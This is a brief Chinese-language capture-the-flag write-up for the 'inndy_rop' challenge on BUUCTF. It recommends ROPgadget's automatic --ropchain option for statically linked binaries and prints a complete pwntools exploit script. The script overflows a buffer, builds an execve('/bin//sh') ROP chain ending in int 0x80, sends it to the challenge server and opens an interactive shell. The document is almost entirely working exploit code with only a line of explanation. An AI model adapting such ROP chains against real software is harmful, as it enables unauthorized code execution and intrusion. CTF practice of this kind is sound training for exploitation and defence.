inndy_rop

学到了一个工具
ROPgadget --binary 文件名 --ropchain
静态编译的题目直接干。脚本直接出什么都不用管

点击查看代码

from pwn import *
io=remote("node4.buuoj.cn",25457)
from struct import pack

def payload():

	p = 'a'*(0xc+4)

	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de769) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0806c943) # int 0x80

	io.sendline(p)
payload()
io.interactive()